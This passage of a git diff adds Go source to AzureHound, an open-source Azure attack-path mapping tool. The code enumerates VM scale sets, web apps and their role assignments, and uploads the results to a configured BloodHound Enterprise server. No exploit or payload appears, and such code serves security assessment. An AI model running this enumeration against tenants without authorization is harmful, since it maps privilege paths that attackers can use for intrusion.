mockSubscriptionsChannel) + + go func() { + defer close(mockSubscriptionsChannel) + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + }() + go func() { + defer close(mockVirtualMachineChannel) + mockVirtualMachineChannel <- client.AzureResult[azure.VirtualMachine]{ + Ok: azure.VirtualMachine{}, + } + mockVirtualMachineChannel <- client.AzureResult[azure.VirtualMachine]{ + Ok: azure.VirtualMachine{}, + } + }() + go func() { + defer close(mockVirtualMachineChannel2) + mockVirtualMachineChannel2 <- client.AzureResult[azure.VirtualMachine]{ + Ok: azure.VirtualMachine{}, + } + mockVirtualMachineChannel2 <- client.AzureResult[azure.VirtualMachine]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.VirtualMachine); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.VirtualMachine{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.VirtualMachine); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.VirtualMachine{}) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.VirtualMachine); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.VirtualMachine{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-vm-scale-set-role-assignments.go b/cmd/list-vm-scale-set-role-assignments.go new file mode 100644 index 0000000..343354e --- /dev/null +++ b/cmd/list-vm-scale-set-role-assignments.go @@ -0,0 +1,141 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVMScaleSetRoleAssignment) +} + +var listVMScaleSetRoleAssignment = &cobra.Command{ + Use: "vm-scale-set-role-assignments", + Long: "Lists Azure VM Scale Set Role Assignments", + Run: listVMScaleSetRoleAssignmentImpl, + SilenceUsage: true, +} + +func listVMScaleSetRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure vm scale set role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listVMScaleSetRoleAssignments(ctx, azClient, listVMScaleSets(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listVMScaleSetRoleAssignments(ctx context.Context, client client.AzureClient, vmScaleSets <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), vmScaleSets) { + if vmScaleSet, ok := result.(AzureWrapper).Data.(models.VMScaleSet); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating vm scale set role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, vmScaleSet.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + vmScaleSetRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this vm scale set", "vmScaleSetId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + vmScaleSetRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found vm scale set role assignment", "vmScaleSetRoleAssignment", vmScaleSetRoleAssignment) + count++ + vmScaleSetRoleAssignments.RoleAssignments = append(vmScaleSetRoleAssignments.RoleAssignments, vmScaleSetRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZVMScaleSetRoleAssignment, + Data: vmScaleSetRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing vm scale set role assignments", "vmScaleSetId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all vm scale set role assignments") + }() + + return out +} diff --git a/cmd/list-vm-scale-sets.go b/cmd/list-vm-scale-sets.go new file mode 100644 index 0000000..e4c42e8 --- /dev/null +++ b/cmd/list-vm-scale-sets.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVMScaleSetsCmd) +} + +var listVMScaleSetsCmd = &cobra.Command{ + Use: "vm-scale-sets", + Long: "Lists Azure Virtual Machine Scale Sets", + Run: listVMScaleSetsCmdImpl, + SilenceUsage: true, +} + +func listVMScaleSetsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure virtual machine scale sets...") + start := time.Now() + stream := listVMScaleSets(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } + +} + +func listVMScaleSets(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating virtual machine scale sets", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureVMScaleSets(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing virtual machine scale sets for this subscription", "subscriptionId", id) + } else { + vmScaleSet := models.VMScaleSet{ + VMScaleSet: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found virtual machine scale set", "vmScaleSet", vmScaleSet) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZVMScaleSet, + Data: vmScaleSet, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing virtual machine scale sets", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all virtual machine scale sets") + }() + + return out +} diff --git a/cmd/list-web-app-role-assignments.go b/cmd/list-web-app-role-assignments.go new file mode 100644 index 0000000..a694928 --- /dev/null +++ b/cmd/list-web-app-role-assignments.go @@ -0,0 +1,141 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listWebAppRoleAssignment) +} + +var listWebAppRoleAssignment = &cobra.Command{ + Use: "web-app-role-assignments", + Long: "Lists Azure Web App Role Assignments", + Run: listWebAppRoleAssignmentImpl, + SilenceUsage: true, +} + +func listWebAppRoleAssignmentImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure web app role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listWebAppRoleAssignments(ctx, azClient, listWebApps(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listWebAppRoleAssignments(ctx context.Context, client client.AzureClient, webApps <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), webApps) { + if webApp, ok := result.(AzureWrapper).Data.(models.WebApp); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating web app role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, webApp.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + webAppRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this web app", "webAppId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + webAppRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("Found web app role asignment", "webAppRoleAssignment", webAppRoleAssignment) + count++ + webAppRoleAssignments.RoleAssignments = append(webAppRoleAssignments.RoleAssignments, webAppRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZWebAppRoleAssignment, + Data: webAppRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing web app role assignments", "webAppId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all web app role assignments") + }() + + return out +} diff --git a/cmd/list-web-apps.go b/cmd/list-web-apps.go new file mode 100644 index 0000000..dd8a845 --- /dev/null +++ b/cmd/list-web-apps.go @@ -0,0 +1,134 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listWebAppsCmd) +} + +var listWebAppsCmd = &cobra.Command{ + Use: "web-apps", + Long: "Lists Azure Web Apps", + Run: listWebAppsCmdImpl, + SilenceUsage: true, +} + +func listWebAppsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if err := testConnections(); err != nil { + exit(err) + } else if azClient, err := newAzureClient(); err != nil { + exit(err) + } else { + log.Info("collecting azure web apps...") + start := time.Now() + stream := listWebApps(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) + } +} + +func listWebApps(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating web apps", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureWebApps(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing web apps for this subscription", "subscriptionId", id) + } else { + webApp := models.WebApp{ + WebApp: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + ResourceGroupName: item.Ok.ResourceGroupName(), + TenantId: client.TenantInfo().TenantId, + } + if webApp.Kind == "app" { + log.V(2).Info("found web app", "webApp", webApp) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZWebApp, + Data: webApp, + }); !ok { + return + } + } + } + } + log.V(1).Info("finished listing web apps", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all web apps") + }() + + return out +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..aa99259 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,47 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "github.com/go-logr/logr" + "github.com/spf13/cobra" + + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/constants" +) + +var ( + rootCmd = &cobra.Command{ + Use: constants.Name, + Long: constants.Description, + Version: constants.Version, + } + log logr.Logger +) + +func init() { + config.Init(rootCmd, config.GlobalConfig) +} + +func Execute() error { + return rootCmd.Execute() +} + +func StartService() error { + return startCmd.Execute() +} diff --git a/cmd/start.go b/cmd/start.go new file mode 100644 index 0000000..01e450b --- /dev/null +++ b/cmd/start.go @@ -0,0 +1,439 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "bytes" + "compress/gzip" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "os" + "os/signal" + "runtime" + "sort" + "sync" + "sync/atomic" + "time" + + "github.com/spf13/cobra" + + "github.com/bloodhoundad/azurehound/v2/client/rest" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" +) + +const ( + BHEAuthSignature string = "bhesignature" +) + +var ErrExceededRetryLimit = errors.New("exceeded max retry limit for ingest batch, proceeding with next batch...") + +func init() { + configs := append(config.AzureConfig, config.BloodHoundEnterpriseConfig...) + configs = append(configs, config.CollectionConfig...) + config.Init(startCmd, configs) + rootCmd.AddCommand(startCmd) +} + +var startCmd = &cobra.Command{ + Use: "start", + Short: "Start Azure data collection service for BloodHound Enterprise", + Run: startCmdImpl, + PersistentPreRunE: persistentPreRunE, + SilenceUsage: true, +} + +func startCmdImpl(cmd *cobra.Command, args []string) { + start(cmd.Context()) +} + +func start(ctx context.Context) { + ctx, stop := signal.NotifyContext(ctx, os.Interrupt, os.Kill) + sigChan := make(chan os.Signal) + go func() { + stacktrace := make([]byte, 8192) + for range sigChan { + length := runtime.Stack(stacktrace, true) + fmt.Println(string(stacktrace[:length])) + } + }() + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + if azClient := connectAndCreateClient(); azClient == nil { + exit(fmt.Errorf("azClient is unexpectedly nil")) + } else if bheInstance, err := url.Parse(config.BHEUrl.Value().(string)); err != nil { + exit(fmt.Errorf("unable to parse BHE url: %w", err)) + } else if bheClient, err := newSigningHttpClient(BHEAuthSignature, config.BHETokenId.Value().(string), config.BHEToken.Value().(string), config.Proxy.Value().(string)); err != nil { + exit(fmt.Errorf("failed to create new signing HTTP client: %w", err)) + } else if updatedClient, err := updateClient(ctx, *bheInstance, bheClient); err != nil { + exit(fmt.Errorf("failed to update client: %w", err)) + } else if err := endOrphanedJob(ctx, *bheInstance, bheClient, updatedClient); err != nil { + exit(fmt.Errorf("failed to end orphaned job: %w", err)) + } else { + log.Info("connected successfully! waiting for jobs...") + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + + var ( + jobQueued sync.Mutex + currentJobID atomic.Int64 + ) + + for { + select { + case <-ticker.C: + if jobID := currentJobID.Load(); jobID != 0 { + log.V(1).Info("collection in progress...", "jobId", jobID) + if err := checkin(ctx, *bheInstance, bheClient); err != nil { + log.Error(err, "bloodhound enterprise service checkin failed") + } + } else if jobQueued.TryLock() { + go func() { + defer panicrecovery.PanicRecovery() + defer jobQueued.Unlock() + defer bheClient.CloseIdleConnections() + defer azClient.CloseIdleConnections() + + ctx, stop := context.WithCancel(ctx) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + + log.V(2).Info("checking for available collection jobs") + if jobs, err := getAvailableJobs(ctx, *bheInstance, bheClient); err != nil { + log.Error(err, "unable to fetch available jobs for azurehound") + } else { + // Get only the jobs that have reached their execution time + executableJobs := []models.ClientJob{} + now := time.Now() + for _, job := range jobs { + if job.Status == models.JobStatusReady && job.ExecutionTime.Before(now) || job.ExecutionTime.Equal(now) { + executableJobs = append(executableJobs, job) + } + } + + // Sort jobs in ascending order by execution time + sort.Slice(executableJobs, func(i, j int) bool { + return executableJobs[i].ExecutionTime.Before(executableJobs[j].ExecutionTime) + }) + + if len(executableJobs) == 0 { + log.V(2).Info("there are no jobs for azurehound to complete at this time") + } else { + defer currentJobID.Store(0) + queuedJobID := executableJobs[0].ID + currentJobID.Store(int64(queuedJobID)) + // Notify BHE instance of job start + if err := startJob(ctx, *bheInstance, bheClient, queuedJobID); err != nil { + log.Error(err, "failed to start job, will retry on next heartbeat") + return + } + + start := time.Now() + + // Batch data out for ingestion + stream := listAll(ctx, azClient) + batches := pipeline.Batch(ctx.Done(), stream, config.ColBatchSize.Value().(int), 10*time.Second) + hasIngestErr := ingest(ctx, *bheInstance, bheClient, batches) + + // Notify BHE instance of job end + duration := time.Since(start) + + message := "Collection completed successfully" + if hasIngestErr { + message = "Collection completed with errors during ingest" + } + if err := endJob(ctx, *bheInstance, bheClient, models.JobStatusComplete, message); err != nil { + log.Error(err, "failed to end job") + } else { + log.Info(message, "id", queuedJobID, "duration", duration.String()) + } + } + } + }() + } + case <-ctx.Done(): + return + } + } + } +} + +func ingest(ctx context.Context, bheUrl url.URL, bheClient *http.Client, in <-chan []interface{}) bool { + endpoint := bheUrl.ResolveReference(&url.URL{Path: "/api/v2/ingest"}) + + var ( + hasErrors = false + maxRetries = 3 + unrecoverableErrMsg = fmt.Sprintf("ending current ingest job due to unrecoverable error while requesting %v", endpoint) + ) + + for data := range pipeline.OrDone(ctx.Done(), in) { + var ( + body bytes.Buffer + gw = gzip.NewWriter(&body) + ) + + ingestData := models.IngestRequest{ + Meta: models.Meta{ + Type: "azure", + }, + Data: data, + } + + err := json.NewEncoder(gw).Encode(ingestData) + if err != nil { + log.Error(err, unrecoverableErrMsg) + } + gw.Close() + + if req, err := http.NewRequestWithContext(ctx, "POST", endpoint.String(), &body); err != nil { + log.Error(err, unrecoverableErrMsg) + return true + } else { + req.Header.Set("User-Agent", constants.UserAgent()) + req.Header.Set("Accept", "application/json") + req.Header.Set("Content-Encoding", "gzip") + for retry := 0; retry < maxRetries; retry++ { + // No retries on regular err cases, only on HTTP 504 Gateway Timeout and HTTP 503 Service Unavailable + if response, err := bheClient.Do(req); err != nil { + if rest.IsClosedConnectionErr(err) { + // try again on force closed connection + log.Error(err, fmt.Sprintf("remote host force closed connection while requesting %s; attempt %d/%d; trying again", req.URL, retry+1, maxRetries)) + rest.ExponentialBackoff(retry) + + if retry == maxRetries-1 { + log.Error(ErrExceededRetryLimit, "") + hasErrors = true + } + + continue + } + log.Error(err, unrecoverableErrMsg) + return true + } else if response.StatusCode == http.StatusGatewayTimeout || response.StatusCode == http.StatusServiceUnavailable || response.StatusCode == http.StatusBadGateway { + serverError := fmt.Errorf("received server error %d while requesting %v; attempt %d/%d; trying again", response.StatusCode, endpoint, retry+1, maxRetries) + log.Error(serverError, "") + + rest.ExponentialBackoff(retry) + + if retry == maxRetries-1 { + log.Error(ErrExceededRetryLimit, "") + hasErrors = true + } + if err := response.Body.Close(); err != nil { + log.Error(fmt.Errorf("failed to close ingest body: %w", err), unrecoverableErrMsg) + } + continue + } else if response.StatusCode != http.StatusAccepted { + if bodyBytes, err := io.ReadAll(response.Body); err != nil { + log.Error(fmt.Errorf("received unexpected response code from %v: %s; failure reading response body", endpoint, response.Status), unrecoverableErrMsg) + } else { + log.Error(fmt.Errorf("received unexpected response code from %v: %s %s", req.URL, response.Status, bodyBytes), unrecoverableErrMsg) + } + if err := response.Body.Close(); err != nil { + log.Error(fmt.Errorf("failed to close ingest body: %w", err), unrecoverableErrMsg) + } + return true + } else { + if err := response.Body.Close(); err != nil { + log.Error(fmt.Errorf("failed to close ingest body: %w", err), unrecoverableErrMsg) + } + } + } + } + } + return hasErrors +} + +// TODO: create/use a proper bloodhound client +func do(bheClient *http.Client, req *http.Request) (*http.Response, error) { + var ( + res *http.Response + maxRetries = 3 + ) + + // copy the bytes in case we need to retry the request + if body, err := rest.CopyBody(req); err != nil { + return nil, err + } else { + for retry := 0; retry < maxRetries; retry++ { + // Reusing http.Request requires rewinding the request body + // back to a working state + if body != nil && retry > 0 { + req.Body = io.NopCloser(bytes.NewBuffer(body)) + } + + if res, err = bheClient.Do(req); err != nil { + if rest.IsClosedConnectionErr(err) { + // try again on force closed connections + log.Error(err, fmt.Sprintf("remote host force closed connection while requesting %s; attempt %d/%d; trying again", req.URL, retry+1, maxRetries)) + rest.ExponentialBackoff(retry) + continue + } + // normal client error, dont attempt again + return nil, err + } else if res.StatusCode < http.StatusOK || res.StatusCode >= http.StatusBadRequest { + if res.StatusCode >= http.StatusInternalServerError { + // Internal server error, backoff and try again. + serverError := fmt.Errorf("received server error %d while requesting %v", res.StatusCode, req.URL) + log.Error(serverError, fmt.Sprintf("attempt %d/%d; trying again", retry+1, maxRetries)) + + rest.ExponentialBackoff(retry) + continue + } + // bad request we do not need to retry + var body json.RawMessage + defer res.Body.Close() + if err := json.NewDecoder(res.Body).Decode(&body); err != nil { + return nil, fmt.Errorf("received unexpected response code from %v: %s; failure reading response body", req.URL, res.Status) + } else { + return nil, fmt.Errorf("received unexpected response code from %v: %s %s", req.URL, res.Status, body) + } + } else { + return res, nil + } + } + } + + return nil, fmt.Errorf("unable to complete request to url=%s; attempts=%d;", req.URL, maxRetries) +} + +type basicResponse[T any] struct { + Data T `json:"data"` +} + +func getAvailableJobs(ctx context.Context, bheUrl url.URL, bheClient *http.Client) ([]models.ClientJob, error) { + var ( + endpoint = bheUrl.ResolveReference(&url.URL{Path: "/api/v2/jobs/available"}) + response basicResponse[[]models.ClientJob] + ) + + if req, err := rest.NewRequest(ctx, "GET", endpoint, nil, nil, nil); err != nil { + return nil, err + } else if res, err := do(bheClient, req); err != nil { + return nil, err + } else { + defer res.Body.Close() + if err := json.NewDecoder(res.Body).Decode(&response); err != nil { + return nil, err + } else { + return response.Data, nil + } + } +} + +func checkin(ctx context.Context, bheUrl url.URL, bheClient *http.Client) error { + endpoint := bheUrl.ResolveReference(&url.URL{Path: "/api/v2/jobs/current"}) + + if req, err := rest.NewRequest(ctx, "GET", endpoint, nil, nil, nil); err != nil { + return err + } else if res, err := do(bheClient, req); err != nil { + return err + } else { + res.Body.Close() + return nil + } +} + +func startJob(ctx context.Context, bheUrl url.URL, bheClient *http.Client, jobId int) error { + log.Info("beginning collection job", "id", jobId) + var ( + endpoint = bheUrl.ResolveReference(&url.URL{Path: "/api/v2/jobs/start"}) + body = map[string]int{ + "id": jobId, + } + ) + + if req, err := rest.NewRequest(ctx, "POST", endpoint, body, nil, nil); err != nil { + return err + } else if res, err := do(bheClient, req); err != nil { + return err + } else { + res.Body.Close() + return nil + } +} + +func endJob(ctx context.Context, bheUrl url.URL, bheClient *http.Client, status models.JobStatus, message string) error { + endpoint := bheUrl.ResolveReference(&url.URL{Path: "/api/v2/jobs/end"}) + + body := models.CompleteJobRequest{ + Status: status.String(), + Message: message, + } + + if req, err := rest.NewRequest(ctx, "POST", endpoint, body, nil, nil); err != nil { + return err + } else if res, err := do(bheClient, req); err != nil { + return err + } else { + res.Body.Close() + return nil + } +} + +func updateClient(ctx context.Context, bheUrl url.URL, bheClient *http.Client) (*models.UpdateClientResponse, error) { + var ( + endpoint = bheUrl.ResolveReference(&url.URL{Path: "/api/v2/clients/update"}) + response = basicResponse[models.UpdateClientResponse]{} + ) + if addr, err := dial(bheUrl.String()); err != nil { + return nil, err + } else { + // hostname is nice to have but we don't really need it + hostname, _ := os.Hostname() + + body := models.UpdateClientRequest{ + Address: addr, + Hostname: hostname, + Version: constants.Version, + } + + log.V(2).Info("updating client info", "info", body) + + if req, err := rest.NewRequest(ctx, "PUT", endpoint, body, nil, nil); err != nil { + return nil, 